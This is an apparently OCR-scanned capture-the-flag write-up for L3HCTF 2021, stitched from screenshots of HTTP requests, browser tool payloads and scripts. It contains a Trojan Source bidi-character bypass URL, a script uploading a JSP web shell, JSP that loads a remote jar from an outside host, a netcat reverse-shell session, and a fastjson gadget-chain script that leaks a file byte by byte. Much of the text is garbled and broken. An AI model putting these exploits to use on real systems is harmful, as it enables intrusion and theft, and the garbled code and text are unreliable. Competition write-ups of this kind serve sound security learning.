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Accept-Language: zh-CN,zh;q=8.9,en;0=08.8

Connection: keep-alive

Content-Length: 144

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuSHANCXyglndKfga

Cookie: pro_snd=-1; ltd_end=-1; serverType=nginx; order=id%2@desc; memSize=1833; bit_user_info=%7BE%22statusX22%3Atrue%2C%22m=pk2 2% 34%
ath=/www/wuwroot; distribution=ubuntu; force=8; site_type=-1; p-1=1; load_search=undefined; files_sort=name; backup_path=/www/backuy
JU1gMgBwews807oPi627R21Ng611TogbnUiHI4ggP; rank=1ist; vcodesum=15; load_page=null; load_type=null; name_reverse=False; record_paste
WSEQW1BQkhWelpYSUWKV2x1ZEFZQ@FBERT18N8ak0gEq5akkda2 za7 SvDvmF433dADFEYIDEBF_1178=; Path=/www/wuwroct/42.192.137.212/image-service
Host: 42.192.137.212:1235

Origin: http://42.192.137.212:1235 —
Referer: http://42.192.137.212:1235/sharelist
User-Agent: Mozillas5.@ (Windows NT 10.8; Win64; x@4) AppleWebKit/537 3#"(KHTML, like Gecko) Chrome/95.8.4638.69 Safarif537.36

¥ Form Data view parsed

------ WebKitFormBoundaryu8HANCXyqLndKfgh

Content-Disposition: form-data; name="userngg

------ WebKitFormBoundaryuBHANCXyqLndKfgh--
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wquest Response

SELECTED CHARACTER

t m \n  Actions v Raw nd \n  Actions v Selection

Apply

Query Parameters (0)
Body Parameters (1)

Request Cookies (1)

Request Headers (11)
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L3HCTF{d9f2fdab-dc8e-4
Pac-bc55-267e4¢c759¢50}

@ Devlocts is now available in Chinese! [l e ey . Don't sh

x  MackBar  MackTook  Console  Sources  Network  Performance  Me:

LOAD SPLIT EXECUTE TEST - sqLl - X85 - LFI - S5TI ~ ENCODING ~ HASHING -

hil“p..'.'1 21.36.209.245:10002/get?token=8b318931af03bd9c044484a08729b3658598329187e6927cb6c2d4380095d0db&unid=3056ebi1-287a-4ced-96ce-0e1de? 5c606e
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& & A A== | 121.36.209.245:10002/get?blur=0&height=0&text=&textcolor=FFFFFF&texts

L= CTE websE I TymEesE session HE nginx SSRF awd
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["error”:"Invalid token”}
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map[blur [20] text:[secret] textsize:[50] uuid: [eb4ab436-7218 : 22a—-3cd9%deec934f] x

f43b13d76e0812397b682fd4£f237£fdB5£f£f6324007b : c 7c129471353cf43b13d76e
24007b4
[GIN] 2021/11/15 - 07 200 : 82354 5 7z 9.0 ( "/get?bl
ur=20&text= et&textsize=50&toke 129471: 3 T6e0812357be8E2 237 a 5324007 addfedd
&uuld—eh4ah4*€ 218-4f%a-82 d9d6e6934fex1=200&y1 )
110.185.233.103 - - [15/Nov/2021:07:46:13 +0000] "GET /get?blur=20&text=secret&textsize

g LR — 2 H SRS AR H Ehmap 7 ST AR, B SEA RORIR AT, J5AS B blurfso 2 82 ) 4 B ik 1

LOAD SPLIT EXECUTE TEST -~ saLl - ¥s88 - LFl - 88TI ~ ENCODING - HASHING -~

http://42.192,137.212:1236/get?blur:[20] text=secret&textsize=50&t0ken=7c129471393cf43b13d76e0812307b6821d 412371d85116324007bdccaddicddluuid=eb4abd36.7218-4192-822a-3cd9d 5eH9341&x1=2008y1=200

ADD HEADER

I A 2 i HE S A [Fltoken, 6 BARATTRA SR ) 17

uuid: [eb4ab436-7218-4f9%9a-822a-3cd9%d6e6934f] x
07k t. c Tcl29471: cf43bl3d7ee

135 1 | GET

2fd4f237fdB85££63240
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L3HCTF{flag2}

HackTools  Console  Sources  Network  Perform

LIT EXECUTE TEST ~ saLl - Xss - LA~ SSTI ~ ENCODING ~ HASHING ~

37.212:1236/get?blur:[20] text=secret&textsize=50&token=7c129471393cf43b13d76e0812397b682fd4f237fd85ff6324007b4ccaddfcdd&uuid=eb4ab436-7218-4f9a-822a-3cd9d6e6934f&&x1:[200] y1=200
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FormBoundaryTX

L3HCTF{40488e69-ce9d-4
0f9-babe-ede011249925}

LOAD SPLIT EXECUTE TEST ENCODING -~ HASHING -

c0061c1c8fdde18cc52338293e1 BEuuid=dd17fb34-e87c-4ab3-942a-a83a205257falx1:[2!
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error_reporting (00 ;

if  (“admin® == §$_GET[ &b "13kctf” == §$ GET[password]) { //Welcome +o L3HITF+!!
include “flag.php”;
echo  $flagz;

I

show_source(_ FILE )

T
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& "13hctf” == $_GEI[M I //Welcome to BERCTF+! !

password il A [ &

BATEH M BRI R L | — LMy 17 AT

A7php
error_reporting (0]
it adnin” == § GET[username] && “13hctf” == § GET[password]) { //¥elceme
include “flag.php”;
echo  §flag:

LIHCTF#!

show_gource__FILE_):
%
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3 Q] | Elements  HackBar

Don't show again

HackTools  Commole  Sources  Metwork

Parformance

Memory  Applicaion  Security Lighthouse o1 B: | &
LOAD SPLIT EXECUTE TEST - sQLl - XS$§ - LFIfg~ SSTI ~ ENCODING ~ HASHING -

THEME -
WAL
if%20(%22admin%22%20%30%30%20%24_GET%5Busername%5D%20%26%E2%80LAERE2 %81 HAG%2 B LE2 %81 %AIREZ %81 %A6%26%20%22%E2%B0LAERE2 %81 RAGCTF%E2%81 %RAILE2LE1 BLAGIZhct % 22%20%3D%3D%20%24_GET%5BRE2RB0RAESRE2%E1%A
L3H%E2%B1%A9%E2%81 %AGpassword%50)%20%7B%20%2F %« 2FWelcome®20t0%20
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error_reporting (0)

if ("admin® == § GET[username] &k “13hctf”
include “flag.php”
echo $flag

= 3_GET[password]l) [

fiWelcome to L3HCTF#!!

show_sourcei__FILE__),
”»

0 PENCLEE R R R TELENRRGIREE T Always match Chrome's language | Switch DevTools to Chinese JREREETTINEE T
% ] | FElements HackBar HackTools Conscle Sources Metwork Performance  Memory  Application  Security Lighthouse
LOAD SPLIT EXECUTE TEST ~ sqLl - Xss - LFl - SSTI -~ ENCODING - HASHING

URL

if ("admin” == $_GET[username] && “%E2%B0%AE%E2%81%A6CTF%E2%81 %AI%E2%81%ABI3NCt™ == §_GET[%E2%80%AE%E2%81%ABLIH%E2%81%A9%E2%81 %A6password])

I Enable POST

ADD HEADER CSDMN @Y4tacker
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flag(YOU_FOUND _CVE-2021-425§4}

trojansource.codes

{?php

error_reporting (0) ;

if ("admin" == $_GET[username] && “13hcfl
include “flag.php”
eche $flag:

' == § GET[password]) { //Welcome +to L3HCIF+! |

H

show_source(__FILE__):
®

@ D=vTools is now available in Chinese!

I Iii Elements HackBar

Always match Chrome's language | Switch DevTools to Chinese JSEURES LIEREI]

Memory Application Security Lighthouse

LOAD SPLIT EXECUTE TEST -~ saLr - X8s - LFh ~ SSTI -~ ENCODING -~ HASHING ~

ﬁtt_p'.ff'\ 24.71.176.131:10001/?username=admin&%E2%80%AE%E2%81%AOL3IH % E2%81 %A9%E2%81%Abpassword="%E2%80%AE%E2%81%ABCTF%E2%81%A9%E2%81 %A0I3hctf

bypass
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public static boolean checkValidChars(String content) {
Pattern pattern Pattern.compile("[a-zA-Z0-9]1{2,}");

Matcher matcher pattern.matcher(content);
return matcher.find();




SCAEN IR T, SRl WS IR, 187 —>BlackWordsDetect

String filePath = uploadPath + File.separator + randName() + ext
File storeFile = File(filePath)

String content = item.getString()
check = checkValid
Chars(content)

(check){
response.getWriter().write(

BlackWordsDetect blackWordsDetect = BlackWordsDetect(item)
detectResult = blackWordsDetect.detect()
(detectResult) {
response.getWriter() .write( + blackWordsDetect.getBlackWord()

{
item.write(storeFile)
response.getWriter().write( + filePath)
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#coding:utf-8
import requests

def uploads(filedata, filename):
with open(filename, 'wb') as f:
f.write(filedata)

requests.post('http://123.60.20.221:10001/UploadServlet', files={"filename": open(filename, "rb")})

print(r.text)
if " ARSI SCHERAZ: /user” in r.text:
url "http://123.60.20.221:10001/" r.text.replace(
"SCfE EAERRI Y SCPEAE: /usr/local/apache-tomcat-8.5.72/webapps/ROOT/", "")
print(url)
r = requests.get(url)
print(r.text)

if _ name_ ' main__
data ""'<% out.print("23333"); %>'''.encode("utf-16")
uploads(data, "1.7jsjspp")




R T AR, ] AR IR ) R

B FoREE AW 2R, RILE L ¥GRuntime. \u. ScriptEngine. newinstance. ProcessBuilder. invoke. File.
defineClass. lookup, JdbcRowSetimpl%:

Laiet Jy i
set AR, Fil4 UriClassLoader5 Class.forName e #1454k %] Gt g 4T fir &

@ page import="java.net.URL"
@ page import="java.net.URLClasslLoader"

URL url = new URL("http://4xxxx212/abc.jar");

URLClassLoader ucl = new URLClassLoader(new URL[ J{url});

Class.forName("com.yyds.yy",true,ucl);
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File Edit View MNavigate Code Analyze Refactor Build Run VCS Window Help
= B S ¢« oz~ Add Cenfiguration... -
[ untitled
pom.xml (untitled) {5 MANIFEST.MF ¥ yyjava

com.yyds

I Project

java.io.I0Exception;

s yy {
{
y {

Runtime.getRuntime().exec(r String[]{
} catch (I0Exception e) {

e.printStackTrace();

main(String[] args)
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root@VM-4-9—ubuntu:~f nc -lvvp 1236
Listening on [0.0.0.0] (family 0, port 123&)
Connection from ecs-123-60-20-221.compute.hwclouds-dns.com 0770 receiwed!
bash: no job control in this shell
[ctf@19cEe5fb453b /15 1s

1s

anaconda-post.log

bin

dev

etc

flag

home

lib

1lib64

media

mnt

opt

proc

readflag

root

run

sbin

srv

sys

tmp

usr

var

[ctf@19c6e5fb453b /1§ [readflag

/readflag

L3HCTF{J4v4 18 s0 fUN 4nd U must b3 j4vd4 klng} [ctf@19c6e5fb453b /]5 CSDN @ﬂy4tacker
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javax.naming.InitialContext.HoLookup(

BRSITIRA R T

<I> doLookup(String name)
NamingException {

(T) ( InitialContext()).Tlookup(name)
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ADMIN

Dashboard

Layouts

Ul Elements

Components

Fontawesome
¥ Mail

Forms

Charts

Basic Table
Advanced Table

Responsive Table

KEEEBA

ADMIN

Dashboard
0O Layouts

Ul Elements

= Search here...

Dashboard

Dashboard My Dashboard

/main.html

22020

Total Revenue

390

MONTHLY REVENUE REPORT

Online Offline

= Search here...

Dynamic Table

Dashboard Data Tables Dynamic Table

@ Unique Visitors

aﬂ @ @ 9 yAtacker ~

YEARLY INCOME YEARLY EXPENSE
$ 45,600 .,||||I||I $ 45,600 .|I.||,||.|I

Open rate

New Visit Click rate

at least 70% Share rate

Unsubscribed rate

GOAL PROGRESS v %

/@ John Doe - Project Lead
70%

WEEKLY MONTHLY YEARLY

b
B

‘ [{"age":"20","id":1,"password":"hhhhhh","userName":"diggid"}]

‘ submit

Components
DYNAMIC TABLE
Fontawesome
id name
Mail
1 diggid

Forms

Charts

Basic Table
Advanced Table
Responsive Table

Edit Table

Maps

2020 © AdminEx by ThemeBucket

I Fa A\ RS 21— R S

password

hhhhhh

age

20

CSDN @Y4tacke

XHE LSS EZ T IDK_HOME: /usr/1ib/jvm/java-1.8.0-openjdk-1.8.0.292.b10-1.e18 4.x86_64 Ji il THi I N % /e 7 o
charsets%rcel), W 87 %dm ok

e 2 2 Blackhatis @t
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"abc":{"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",

Convert Reader

"delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream", @to InputStream

Parameter url supports

"reader": { "@type": "jdk.nashorn.api.scripting.URLReader",
“url™: *filews//tmp/* <::>

} file:// scheme for a foldet
) and listing directory
"boms": [ Multiple bytes blocks to be compared with

{boml bytes}, {bom2 bytes}, ... @ Reader output.

] Use Binary Search
}' .
is null N
"address” : {"$ref":"$.abc.BOM"} @ abc.getBOM() O resp
}
: bad format i '
@ APl /wallet/validateaddress validatetailed
message
KL T — LIRS, S ORANRETEIAAE T R BRS04k (] o B
MIRF AN FREEERT6, fHflaghk AKE
11 75 4B K 011C
00 76 4C L 011C
RN
0 Layouts
id name password
& Ul Elements
0 {"abc":{"bOM":{"bytes":"TA==","charsetName":"UTF-8"},"bOMCharsetName":"UTF-8"}}
£ Components
[w ﬂ Elements HackBar HackTools Console Sources Network Performance Memory  Application Security Lighthouse

LOAD SPLIT EXECUTE TEST ~ sQLl ~ XSS -~ < SSTI ~ ENCODING ~ HASHING ~

"@type": "org.apache.commons.io.input.ReaderinputStreany’
"reader": {

"@type": "jdk.nashorn.api.scripting.URLReader"

"url": "file:///flag"

2

"charsetName": "UTF-8",

"bufferSize": 1024

%

"boms": [{
"charsetName": "UTF-8",
"bytes": [76]

1

h

"address": {

A% oA T /N RET A nA
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# coding:utf-8
import requests
import string

flag = ""

tmp
flagBytes "
strings string.printable
sess requests.session()
url "http://124.71.173.23:8088/"
datalogin {
"userName": "y4dtacker",
"password": "123456",
"email": ""
sess.post(url "login", data=datalogin)
sess.get("http://124.71.173.23:8088/main.html")

tmplate '[{"password":{"abc":{"@type":"java.lang.AutoCloseable", "@type":"org.apache.commons.io.input.BOMInputS
tream”, "delegate":{"@type":"org.apache.commons.io.input.ReaderInputStream", "reader":{"@type":"jdk.nashorn.api.sc
ripting.URLReader","url":"file:///flag"}, "charsetName":"UTF-8", "bufferSize":1024}, "boms":[{"charsetName":"UTF-8"
,"bytes":[76]}]},"address" : {"$ref":"$.abc.BOM"}}}]"'

while 1:
for i in strings:
tmp (str(ord(i))+",")
tmplate '[{"password":{"abc":{"@type":"java.lang.AutoCloseable", "@type":"org.apache.commons.io.input.B

OMInputStream","delegate":{"@type":"org.apache.commons.io.input.ReaderInputStream", "reader":{"@type":"jdk.nashonr
n.api.scripting.URLReader","url":"file:///flag"}, "charsetName":"UTF-8", "bufferSize":1024}, "boms":[{"charsetName"
:"UTF-8","bytes":[' + (
flagBytes + tmp) "1}1}, "address" : {"$ref":"$.abc.BOM"}}}]"
dataFlag = {
"data": tmplate

sess.post(url "dynamic_table", data=dataFlag)

if b"bOM" in r.content:
flag i
flagBytes tmp
print(flag)
if "}" i:

exit(oe)

break

else:

pass




: tmplate
r = sess.post(url + =dataFlag)

b"bOM" r.content:
flag += 1
flagBytes += tmp

while 1 for i in strings if b"bOM" in r.content

3

L3HCTF{cov3r_means_discover_4nd_kill
L3HCTF{cov3r_means_discover_and_k111_
L3HCTF{cov3r_means_discover_4nd_kil11_1
L3HCTF{cov3r_means_discover_4nd_k111_1t
L3HCTF{cov3r_means_discover_é4nd_k11l_1t_
L3HCTF{cov3r_means_discover_4nd_k1l11_1t_o
L3HCTF{cov3r_means_discover_a4and_ki111_1t_ov
L3HCTF{cov3r_means_discover_4nd_k111_1t_ove
L3HCTF{cov3r_means_discover_4nd_k111l_1t_over
L3HCTF{cov3r_means_discover_4nd_k1l1l1_1t_over!
L3HCTF{cov3r_means_discover_4nd_k1l11_1t_over!!
L3HCTF{cov3r_means_discover_4nd_ki111_1t_over!!}
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